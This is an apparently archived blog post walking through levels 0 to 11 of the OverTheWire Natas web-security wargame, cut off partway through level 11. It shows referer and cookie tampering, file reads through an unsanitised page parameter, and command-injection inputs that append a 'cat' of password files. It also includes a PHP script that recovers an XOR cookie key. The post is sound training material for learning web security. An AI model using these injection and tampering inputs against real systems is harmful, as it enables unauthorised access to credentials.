-
Notifications
You must be signed in to change notification settings - Fork 1
/
exploiting-the-web-in-20-lessons-natas.html
1203 lines (1015 loc) · 105 KB
/
exploiting-the-web-in-20-lessons-natas.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Exploiting the Web in 20 Lessons (Natas)</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">
<meta name="author" content="Marina von Steinkirch">
<!-- Le styles -->
<link rel="stylesheet" href="./theme/css/bootstrap.dark.css" type="text/css" />
<style type="text/css">
body {
padding-top: 60px;
padding-bottom: 40px;
}
.tag-1 {
font-size: 13pt;
}
.tag-2 {
font-size: 11pt;
}
.tag-2 {
font-size: 10pt;
}
.tag-4 {
font-size: 8pt;
}
</style>
<link href="./theme/css/bootstrap-responsive.dark.css" rel="stylesheet">
<link href="./theme/css/font-awesome.css" rel="stylesheet">
<link href="./theme/css/pygments.css" rel="stylesheet">
<!-- Le fav and touch icons -->
<link rel="shortcut icon" href="./theme/images/favicon.ico">
<link rel="apple-touch-icon" href="./theme/images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="72x72" href="./theme/images/apple-touch-icon-72x72.png">
<link rel="apple-touch-icon" sizes="114x114" href="./theme/images/apple-touch-icon-114x114.png">
<link href="./feeds/all.atom.xml" type="application/atom+xml" rel="alternate" title="chmod +x singularity.sh ATOM Feed" />
</head>
<body>
<div class="navbar navbar-fixed-top">
<div class="navbar-inner">
<div class="container-fluid">
<a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</a>
<a class="brand" href="./index.html">chmod +x singularity.sh </a>
<div class="nav-collapse">
<ul class="nav">
<li class="divider-vertical"></li>
<ul class="nav pull-right">
<li><a href="./authors.html">About</a></li>
<li><a href="./archives.html"><b>Archives</b></a></li>
<li>
<a href="https://github.com/bt3gl">github
<!--<i class="icon-github-sign icon-large" ></i>-->
</a></li>
<li>
<a href="https://twitter.com/1bt337">
<!--<i class="icon-twitter-sign icon-large"></i> -->
twitter
</a></li>
<li><a href="http://bt3gl.github.io/projects_page/index.html">Bygone Playful Times
</a></li>
</ul>
</ul>
<!--<p class="navbar-text pull-right">Logged in as <a href="#">username</a></p>-->
</div><!--/.nav-collapse -->
</div>
</div>
</div>
<div class="container-fluid">
<div class="row">
<div class="span9" id="content">
<section id="content">
<article>
<header>
<h1>
<a href=""
rel="bookmark"
title="Permalink to Exploiting the Web in 20 Lessons (Natas)">
Exploiting the Web in 20 Lessons (Natas)
</a>
</h1>
</header>
<div class="entry-content">
<div class="well">
<footer class="post-info">
<abbr class="published" title="2014-10-16T06:01:00">
Thu 16 October 2014 </abbr>
<span class="label"> Category</span>
<a href="./category/web-security.html"><i class="icon-folder-open"></i>Web Security</a>
<span class="label">Tags</span>
<a href="./tag/wargames.html"><i class="icon-tag"></i>Wargames</a>
<a href="./tag/python.html"><i class="icon-tag"></i>Python</a>
<a href="./tag/burpsuite.html"><i class="icon-tag"></i>BurpSuite</a>
<a href="./tag/request.html"><i class="icon-tag"></i>request</a>
<a href="./tag/php.html"><i class="icon-tag"></i>PHP</a>
<a href="./tag/javascript.html"><i class="icon-tag"></i>JavaScript</a>
<a href="./tag/sqli.html"><i class="icon-tag"></i>SQLi</a>
<a href="./tag/command_injection.html"><i class="icon-tag"></i>Command_Injection</a>
<a href="./tag/mysql.html"><i class="icon-tag"></i>MySQL</a>
<a href="./tag/xor.html"><i class="icon-tag"></i>XOR</a>
<a href="./tag/brute_force.html"><i class="icon-tag"></i>Brute_Force</a>
</footer><!-- /.post-info --> </div>
<p><img alt="" src="http://i.imgur.com/ihtJsdE.png" /></p>
<p>Continuing my quest through the <a href="http://overthewire.org/wargames/">Wargames</a>, today I am going to talk about the 20 first levels of <a href="http://overthewire.org/wargames/natas/">Natas</a>, the <strong>web exploitation episode</strong>.</p>
<p>I divide the exploits in two parts. The first part contains the easy challenges that don't demand much art (and are a bit boring). The second part comprehends the challenges that do, with scripting, brute force, and all the fun stuff.</p>
<p>Let the game begin.</p>
<hr />
<h2>No scripting required here, Dude!</h2>
<h3>Level 0 and 1: Simple source code inspection</h3>
<p>The first two levels starts with a simple HTML page. No hints.</p>
<p>Obviously, the first thing we do is ti take a look at the source code.</p>
<p>In the 0th level, the password is straight from the there.</p>
<p>In the first level, we need to disable <strong>JavaScript</strong> so you can right click it:</p>
<div class="highlight"><pre><span class="nt"><body</span> <span class="na">oncontextmenu=</span><span class="s">"javascript:alert('right clicking has been blocked!');return false;"</span><span class="nt">></span>
</pre></div>
<p>Too easy.</p>
<h3>Level 2: Source code inspection for directories</h3>
<p>Looking at the source code in the second level reveals:</p>
<div class="highlight"><pre>There is nothing on this page
<span class="nt"><img</span> <span class="na">src=</span><span class="s">"files/pixel.png"</span><span class="nt">></span>
</pre></div>
<p>Well, this gives us a hint about the folder <strong>files</strong>.</p>
<p>Taking a look at:</p>
<blockquote>
<p>http://natas2.natas.labs.overthewire.org/files/</p>
</blockquote>
<p>gives a file <code>users.txt</code> with the password.</p>
<h3>Level 3: Robots.txt</h3>
<p>Looking at the source code we see this comment:</p>
<div class="highlight"><pre><span class="o"><!--</span> <span class="n">No</span> <span class="n">more</span> <span class="n">information</span> <span class="n">leaks</span><span class="o">!!</span> <span class="n">Not</span> <span class="n">even</span> <span class="n">Google</span> <span class="n">will</span> <span class="n">find</span> <span class="n">it</span> <span class="n">this</span> <span class="n">time</span><span class="p">...</span> <span class="o">--></span>
</pre></div>
<p>In general, websites use a file called <strong><a href="http://en.wikipedia.org/wiki/Robots_exclusion_standard">robots.txt</a></strong> to tell search engines what should be indexed.</p>
<p>Looking at:</p>
<blockquote>
<p>http://natas3.natas.labs.overthewire.org/robots.txt</p>
</blockquote>
<p>We find:</p>
<div class="highlight"><pre><span class="n">User</span><span class="o">-</span><span class="n">agent</span><span class="o">:</span> <span class="o">*</span>
<span class="nl">Disallow:</span> <span class="o">/</span><span class="n">s3cr3t</span><span class="o">/</span>
</pre></div>
<p>Looking at the content of the folder <em>/s3cr3t/</em> revels:</p>
<div class="highlight"><pre><span class="n">Index</span> <span class="n">of</span> <span class="o">/</span><span class="n">s3cr3t</span>
<span class="p">[</span><span class="n">ICO</span><span class="p">]</span> <span class="n">Name</span> <span class="n">Last</span> <span class="n">modified</span> <span class="n">Size</span> <span class="n">Description</span>
<span class="p">[</span><span class="kt">DIR</span><span class="p">]</span> <span class="n">Parent</span> <span class="n">Directory</span> <span class="o">-</span>
<span class="p">[</span><span class="n">TXT</span><span class="p">]</span> <span class="n">users</span><span class="p">.</span><span class="n">txt</span> <span class="mi">12</span><span class="o">-</span><span class="n">Jul</span><span class="o">-</span><span class="mi">2013</span> <span class="mi">13</span><span class="o">:</span><span class="mi">35</span> <span class="mi">40</span>
</pre></div>
<p>Which give us the password file:</p>
<blockquote>
<p>http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt</p>
</blockquote>
<h3>Level 4: Changing the referer tag</h3>
<p>In this level, the front page shows this message:</p>
<div class="highlight"><pre>Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/index.php" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
<span class="nt"><br/></span>
<span class="nt"><div</span> <span class="na">id=</span><span class="s">"viewsource"</span><span class="nt">><a</span> <span class="na">href=</span><span class="s">"index.php"</span><span class="nt">></span>Refresh page<span class="nt"></a></div></span>
</pre></div>
<p>The server thinks we are coming from a page that is indicated in the <strong><a href="http://en.wikipedia.org/wiki/HTTP_referer">referer</a></strong> tag in the headers.</p>
<p>The referer is a (historically misspelled) tag that carries the address of the URL that linked to the address we are requesting.</p>
<p>There are many ways to tamper this. While we could use browser plugins such as <a href="https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo?hl=en">tampermonkey</a> or <a href="https://chrome.google.com/webstore/detail/modify-headers-for-google/innpjfdalfhpcoinfnehdnbkglpmogdi?hl=en-US">modify-headers</a>, the good old <strong>curl</strong> do it easily:</p>
<div class="highlight"><pre><span class="nv">$ </span>curl --user natas4:************************ http://natas4.natas.labs.overthewire.org/index.php --referer <span class="s2">"http://natas5.natas.labs.overthewire.org/"</span>
</pre></div>
<h3>Level 5: Tampering cookies</h3>
<p>When we log in the 5th level, the front page says:</p>
<div class="highlight"><pre><span class="n">Access</span> <span class="n">disallowed</span><span class="p">.</span> <span class="n">You</span> <span class="n">are</span> <span class="n">not</span> <span class="n">logged</span> <span class="n">in</span>
</pre></div>
<p>Inspecting the source does not give any additional information.</p>
<p>We check the elements of the page. There is a cookie named <em>loggedin</em> with value <strong>0</strong>. What happens if we change it to <strong>1</strong>?</p>
<p>Using the <a href="http://www.editthiscookie.com/start/">edit this cookie</a> plugin we are able to edit it and get the next password.</p>
<h3>Level 6: Source code inspection for directories II</h3>
<p>This level comes with a PHP form. We take a look at the source code:</p>
<div class="highlight"><pre><span class="cp"><?</span>
<span class="k">include</span> <span class="s2">"includes/secret.inc"</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="nb">array_key_exists</span><span class="p">(</span><span class="s2">"submit"</span><span class="p">,</span> <span class="nv">$_POST</span><span class="p">))</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$secret</span> <span class="o">==</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'secret'</span><span class="p">])</span> <span class="p">{</span>
<span class="k">print</span> <span class="s2">"Access granted. The password for natas7 is <censored>"</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">print</span> <span class="s2">"Wrong secret"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cp">?></span><span class="x"></span>
<span class="x"><form method=post></span>
<span class="x">Input secret: <input name=secret><br></span>
<span class="x"><input type=submit name=submit></span>
<span class="x"></form></span>
</pre></div>
<p>Double LOL.</p>
<p>We just need to inspect that first URL to get the value of <em>$secret</em>:</p>
<blockquote>
<p>http://natas6.natas.labs.overthewire.org/includes/secret.inc</p>
</blockquote>
<p>Submitting this value in the input form gives us the password.</p>
<h3>Level 7: Modifying URLs</h3>
<p>This level has the following hint in its PHP source code:</p>
<div class="highlight"><pre><span class="nt"><div</span> <span class="na">id=</span><span class="s">"content"</span><span class="nt">></span>
<span class="nt"><a</span> <span class="na">href=</span><span class="s">"index.php?page=home"</span><span class="nt">></span>Home<span class="nt"></a></span>
<span class="nt"><a</span> <span class="na">href=</span><span class="s">"index.php?page=about"</span><span class="nt">></span>About<span class="nt"></a></span>
<span class="nt"><br></span>
<span class="nt"><br></span>
this is the front page
<span class="c"><!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 --></span>
<span class="nt"></div></span>
</pre></div>
<p>Another easy one.</p>
<p>Instead of <em>page=home</em> we change it to:</p>
<blockquote>
<p>page=/etc/natas_webpass/natas8</p>
</blockquote>
<p>We then get our password at:</p>
<blockquote>
<p>http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8</p>
</blockquote>
<h3>Level 8: String decoding</h3>
<p>This level comes with a PHP form, similar to the 6th level. We take a look at the code source:</p>
<div class="highlight"><pre><span class="cp"><?</span>
<span class="nv">$encodedSecret</span> <span class="o">=</span> <span class="s2">"3d3d516343746d4d6d6c315669563362"</span><span class="p">;</span>
<span class="k">function</span> <span class="nf">encodeSecret</span><span class="p">(</span><span class="nv">$secret</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="nb">bin2hex</span><span class="p">(</span><span class="nb">strrev</span><span class="p">(</span><span class="nb">base64_encode</span><span class="p">(</span><span class="nv">$secret</span><span class="p">)));</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nb">array_key_exists</span><span class="p">(</span><span class="s2">"submit"</span><span class="p">,</span> <span class="nv">$_POST</span><span class="p">))</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="nx">encodeSecret</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'secret'</span><span class="p">])</span> <span class="o">==</span> <span class="nv">$encodedSecret</span><span class="p">)</span> <span class="p">{</span>
<span class="k">print</span> <span class="s2">"Access granted. The password for natas9 is <censored>"</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">print</span> <span class="s2">"Wrong secret"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cp">?></span><span class="x"></span>
</pre></div>
<p>Simple. The secret is encoded in some obscuration. Funny enough, it uses the PHP function <a href="http://php.net/manual/en/function.strrev.php">strrev</a> to reverse the string.</p>
<p>We perform the following operations to recover the variable <em>$secret</em> from the variable <em>$encodedSecret</em>:</p>
<p>I - Decode hexadecimal to binary (<em>bin2hex</em>):</p>
<div class="highlight"><pre><span class="o">>>></span> <span class="n">SECRET</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
<span class="s">'==QcCtmMml1ViV3b'</span>
</pre></div>
<p>II - Reverse the string (<em>strrev</em>):</p>
<div class="highlight"><pre><span class="o">>>></span> <span class="n">SECRET</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="s">'b3ViV1lmMmtCcQ=='</span>
</pre></div>
<p>III - Base64 decode (<em>base64_encode</em>):</p>
<div class="highlight"><pre><span class="o">>>></span> <span class="n">SECRET</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'base64'</span><span class="p">)</span>
<span class="s">'oubWYf2kBq'</span>
</pre></div>
<p>We submit this last string in the input form, giving us the password.</p>
<hr />
<h2>I'm bored. Can we do something actually cool?</h2>
<p>Yes, we can.</p>
<h3>Level 9: OS Command Injection</h3>
<p>This level's page has a search form. If we try to submit a word, for example <em>secret</em>, we get several variations of this word:</p>
<p><img alt="" src="http://i.imgur.com/ZQwlqsQl.png" /></p>
<p>We inspect the source code:</p>
<div class="highlight"><pre><span class="nt"><h1></span>natas9<span class="nt"></h1></span>
<span class="nt"><div</span> <span class="na">id=</span><span class="s">"content"</span><span class="nt">></span>
<span class="nt"><form></span>
Find words containing: <span class="nt"><input</span> <span class="na">name=</span><span class="s">needle</span><span class="nt">><input</span> <span class="na">type=</span><span class="s">submit</span> <span class="na">name=</span><span class="s">submit</span> <span class="na">value=</span><span class="s">Search</span><span class="nt">><br><br></span>
<span class="nt"></form></span>
Output:
<span class="nt"><pre></span>
<span class="cp"><?</span>
<span class="cp">$key = "";</span>
<span class="cp">if(array_key_exists("needle", $_REQUEST)) {</span>
<span class="cp"> $key = $_REQUEST[</span><span class="s2">"needle"</span><span class="cp">];</span>
<span class="cp">}</span>
<span class="cp">if($key != "") {</span>
<span class="cp"> passthru("grep -i $key dictionary.txt");</span>
<span class="cp">}</span>
<span class="cp">?></span>
<span class="nt"></pre></span>
</pre></div>
<p>If we try inputs such as *, "", or \n, the query shows the entire list of words inside the file <em>dictionary.txt</em>. We tried that, but no password there.</p>
<p>Taking a closer look to the code we notice the PHP function <a href="">passthru</a>, which is used to execute an external command.</p>
<p>Since the variable <strong>$key</strong> is <strong>not sanitized</strong>, we can add a crafted input to it to inject a code that displays the password at the folder <em>/etc/natas_webpass/natas10</em>. This type of attack is called <a href="https://www.owasp.org/index.php/OS_Command_Injection">OS command injection</a>.</p>
<p>What should we add to the original <em>grep</em> command?</p>
<p>In <strong>Bash</strong>, the <em>semicolon</em> permits putting more than one command on the same line. Adding a <strong>;</strong> to the input allows us to add a <strong>cat</strong> after that.</p>
<p>The crafted input is:</p>
<div class="highlight"><pre><span class="p">;</span> <span class="n">cat</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">natas_webpass</span><span class="o">/</span><span class="n">natas10</span>
</pre></div>
<p>This gives us the password.</p>
<h3>Level 10: OS Command Injection II</h3>
<p>This level starts with the same search form from the previous level. However, this time we get the warning:</p>
<blockquote>
<p>For security reasons, we now filter on certain characters.</p>
</blockquote>
<p>We take a look at the source code:</p>
<div class="highlight"><pre><span class="x"><pre></span>
<span class="cp"><?</span>
<span class="nv">$key</span> <span class="o">=</span> <span class="s2">""</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="nb">array_key_exists</span><span class="p">(</span><span class="s2">"needle"</span><span class="p">,</span> <span class="nv">$_REQUEST</span><span class="p">))</span> <span class="p">{</span>
<span class="nv">$key</span> <span class="o">=</span> <span class="nv">$_REQUEST</span><span class="p">[</span><span class="s2">"needle"</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$key</span> <span class="o">!=</span> <span class="s2">""</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/[;|&]/'</span><span class="p">,</span><span class="nv">$key</span><span class="p">))</span> <span class="p">{</span>
<span class="k">print</span> <span class="s2">"Input contains an illegal character!"</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nb">passthru</span><span class="p">(</span><span class="s2">"grep -i </span><span class="si">$key</span><span class="s2"> dictionary.txt"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cp">?></span><span class="x"></span>
<span class="x"></pre></span>
</pre></div>
<p>The difference here is an <em>if</em> clause with the function <a href="http://php.net/manual/en/function.preg-match.php">preg_match</a>. This function is used to search for a pattern in a string, <em>i.e.</em>, it clears the string against the pattern <strong>;</strong>, <strong>|</strong>, and <strong>&</strong>.</p>
<p>We cannot use the same attack as before with a semicolon!</p>
<p>We need to some other injection that does not need those symbols.</p>
<p>When I was messing around in the previous level I noticed that we can use <strong>""</strong> as an input. Awesome. The following input reveals the password:</p>
<div class="highlight"><pre><span class="s">""</span> <span class="n">cat</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">natas_webpass</span><span class="o">/</span><span class="n">natas11</span>
</pre></div>
<h3>Level 11: Cookies and XOR Encryption</h3>
<p>This level starts with an input form to set a background color and a message:</p>
<blockquote>
<p>cookies are protected with XOR encryption</p>
</blockquote>
<p><img alt="" src="http://i.imgur.com/aD4CKbY.png" /></p>
<p>Let's inspect the source code in several steps. First, we have this suspicious array:</p>
<div class="highlight"><pre><span class="err">$</span><span class="n">defaultdata</span> <span class="o">=</span> <span class="n">array</span><span class="p">(</span> <span class="s">"showpassword"</span><span class="o">=></span><span class="s">"no"</span><span class="p">,</span> <span class="s">"bgcolor"</span><span class="o">=></span><span class="s">"#ffffff"</span><span class="p">);</span>
</pre></div>
<p>We will see soon that this array is passed to a cookie as an encrypted XOR string.</p>
<p>What happens if we manage to set <em>showpassword</em> to <em>yes</em>? This is answered in the end of the code:</p>
<div class="highlight"><pre><span class="k">if</span><span class="p">(</span><span class="nv">$data</span><span class="err">[</span><span class="s2">"showpassword"</span><span class="cp">]</span> == "yes") {
print "The password for natas12 is <span class="nt"><censored><br></span>";
}
</pre></div>
<p>We know our way now.</p>
<p>We then have this XOR function that take an input value, <em>$text</em>, and XOR to a variable, <em>$key</em>. So we know that XORing the output with what we sent as the input can return the content of <em>$key</em>:</p>
<div class="highlight"><pre><span class="nx">function</span> <span class="nx">xor_encrypt</span><span class="p">(</span><span class="nv">$in</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$key</span> <span class="o">=</span> <span class="s1">'<censored>'</span><span class="p">;</span>
<span class="nv">$text</span> <span class="o">=</span> <span class="nv">$in</span><span class="p">;</span>
<span class="nv">$outText</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>
<span class="c1">// Iterate through each character</span>
<span class="nb">for</span><span class="p">(</span><span class="nv">$i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nv">$i</span><span class="o"><</span><span class="nx">strlen</span><span class="p">(</span><span class="nv">$text</span><span class="p">);</span><span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$outText</span> <span class="nx">.</span><span class="o">=</span> <span class="nv">$text</span><span class="err">[</span><span class="nv">$i</span><span class="cp">]</span> ^ $key<span class="cp">[</span><span class="nv">$i</span> <span class="o">%</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$key</span><span class="p">)</span><span class="cp">]</span>;
}
return $outText;
}
</pre></div>
<p>The rest of the code is only important to show that the string encoded in <em>base64</em> before it's sent to the cookie. The function in the bottom just changes the color of the background:</p>
<div class="highlight"><pre><span class="nx">function</span> <span class="nx">loadData</span><span class="p">(</span><span class="nv">$def</span><span class="p">)</span> <span class="p">{</span>
<span class="bp">global</span> <span class="nv">$_COOKIE</span><span class="p">;</span>
<span class="nv">$mydata</span> <span class="o">=</span> <span class="nv">$def</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="nx">array_key_exists</span><span class="p">(</span><span class="s2">"data"</span><span class="p">,</span> <span class="nv">$_COOKIE</span><span class="p">))</span> <span class="p">{</span>
<span class="nv">$tempdata</span> <span class="o">=</span> <span class="nx">json_decode</span><span class="p">(</span><span class="nx">xor_encrypt</span><span class="p">(</span><span class="nx">base64_decode</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="err">[</span><span class="s2">"data"</span><span class="cp">]</span>)), true);
if(is_array($tempdata) <span class="err">&&</span> array_key_exists("showpassword", $tempdata) <span class="err">&&</span> array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:<span class="cp">[</span><span class="nx">a</span><span class="na">-f</span><span class="o">\</span><span class="nb">d</span><span class="cp">]</span>{6})$/i', $tempdata<span class="cp">[</span><span class="s1">'bgcolor'</span><span class="cp">]</span>)) {
$mydata<span class="cp">[</span><span class="s1">'showpassword'</span><span class="cp">]</span> = $tempdata<span class="cp">[</span><span class="s1">'showpassword'</span><span class="cp">]</span>;
$mydata<span class="cp">[</span><span class="s1">'bgcolor'</span><span class="cp">]</span> = $tempdata<span class="cp">[</span><span class="s1">'bgcolor'</span><span class="cp">]</span>;
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:<span class="cp">[</span><span class="nx">a</span><span class="na">-f</span><span class="o">\</span><span class="nb">d</span><span class="cp">]</span>{6})$/i', $_REQUEST<span class="cp">[</span><span class="s1">'bgcolor'</span><span class="cp">]</span>)) {
$data<span class="cp">[</span><span class="s1">'bgcolor'</span><span class="cp">]</span> = $_REQUEST<span class="cp">[</span><span class="s1">'bgcolor'</span><span class="cp">]</span>;
}
}
saveData($data);
<span class="nt"><form></span>
Background color: <span class="nt"><input</span> <span class="na">name=</span><span class="s">bgcolor</span> <span class="na">value=</span><span class="s">"</span><span class="cp"><?=</span><span class="nv">$data</span><span class="err">[</span><span class="s1">'bgcolor'</span><span class="err">]</span><span class="cp">?></span><span class="s">"</span><span class="nt">></span>
<span class="nt"><input</span> <span class="na">type=</span><span class="s">submit</span> <span class="na">value=</span><span class="s">"Set color"</span><span class="nt">></span>
<span class="nt"></form></span>
</pre></div>
<p>Since we know the plaintext, given by the variable <em>$defaultdata</em>, all we need is the value in the cookie. With that, we can XOR them and get our password.</p>
<p>We can use the plugin I described before, <a href="http://www.editthiscookie.com/start/">edit this cookie</a>, to get this value:</p>
<div class="highlight"><pre><span class="n">ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw</span>
</pre></div>
<p>Now, we write the following script in PHP, modifying the XOR function to take our input:</p>
<div class="highlight"><pre><span class="o"><?</span><span class="nx">php</span>
<span class="nx">$cookie</span> <span class="o">=</span> <span class="nx">base64_decode</span><span class="p">(</span><span class="s1">'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw'</span><span class="p">);</span>
<span class="kd">function</span> <span class="nx">xor_encrypt</span><span class="p">(</span><span class="nx">$in</span><span class="p">){</span>
<span class="nx">$text</span> <span class="o">=</span> <span class="nx">$in</span><span class="p">;</span>
<span class="nx">$key</span> <span class="o">=</span> <span class="nx">json_encode</span><span class="p">(</span><span class="nx">array</span><span class="p">(</span> <span class="s2">"showpassword"</span><span class="o">=></span><span class="s2">"no"</span><span class="p">,</span> <span class="s2">"bgcolor"</span><span class="o">=></span><span class="s2">"#ffffff"</span><span class="p">));</span>
<span class="nx">$outText</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="nx">$i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nx">$i</span><span class="o"><</span><span class="nx">strlen</span><span class="p">(</span><span class="nx">$text</span><span class="p">);</span><span class="nx">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">$outText</span> <span class="p">.</span><span class="o">=</span> <span class="nx">$text</span><span class="cp">[</span><span class="nv">$i</span><span class="cp">]</span> <span class="o">^</span> <span class="nx">$key</span><span class="cp">[</span><span class="nv">$i</span> <span class="o">%</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$key</span><span class="p">)</span><span class="cp">]</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">$outText</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">print</span> <span class="nx">xor_encrypt</span><span class="p">(</span><span class="nx">$cookie</span><span class="p">);</span>
<span class="o">?></span>
</pre></div>
<p>Running it returns the XOR key that encrypts the <em>$defaultdata</em> variable:</p>
